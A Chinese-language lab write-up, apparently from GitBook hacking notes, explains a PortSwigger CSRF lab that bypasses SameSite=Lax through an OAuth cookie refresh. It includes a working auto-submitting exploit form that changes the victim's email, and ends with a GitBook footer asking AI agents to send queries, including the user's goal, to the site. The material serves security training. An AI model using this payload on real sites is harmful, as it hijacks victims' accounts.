> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-lax-bypass-via-cookie-refresh.md).

# 通过 Cookie 刷新绕过 SameSite Lax

通过 Cookie 刷新绕过 SameSite Lax 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 通过 Cookie 刷新绕过 SameSite Lax

该应用程序的电子邮件修改功能容易受到 CSRF 攻击。实验室的目标是通过在提供的利用服务器上托管演示，强制更改受害者用户的电子邮件地址。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cc4231baa3ff91edadc6840891adebc00d278a2%2Fimage%20(374).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

该实验室支持通过外部提供商进行 OAuth 身份验证。你可以使用给定的标识符（`wiener:peter`）。在身份验证过程中，会使用不同域名的页面进行 OAuth 认证。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66fed4ca14fd9ba8651584d38076800754f7b814%2Fimage%20(373).png?alt=media" alt="" width="553"><figcaption></figcaption></figure>

`你已成功使用你的社交媒体账号登录`

* 通过社交提供商连接后，答案包含一个认证 Cookie，其 `SameSite` 属性被设置为 `宽松`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5daa88eb78310244ca9d4001fe60266867438c1c%2Fimage%20(375).png?alt=media" alt=""><figcaption></figcaption></figure>

如果你注销，然后在不重新输入密码的情况下重新开始身份验证流程，会话会被重置：一个 **新的** 会话 Cookie 将被签发。

* → 实际上，这意味着如果用户点击了“logout”，他们将不得不再次点击“登录”才能重定向到该网站并获取新的会话 Cookie。
* 得益于通过第三方域进行身份验证时这种 Cookie“刷新”行为，可以设想这样一个流程：首次请求认证页面可用于恢复/建立会话 Cookie，然后第二个动作（客户端侧）触发修改用户账户电子邮件的请求。

```html
<form class="login-form" name="change-email-form"
      action="https://0a6100a60304c671804803f0005200d7.web-security-academy.net/my-account/change-email"
      method="POST">
  <input type="hidden" name="email" value="hacked@byjordan" />
</form>

<script>
  window.open("https://0a6100a60304c671804803f0005200d7.web-security-academy.net/social-login", "_blank");
  setTimeout("document.forms['change-email-form'].submit()", 5000);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/samesite-lax-bypass-via-cookie-refresh.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
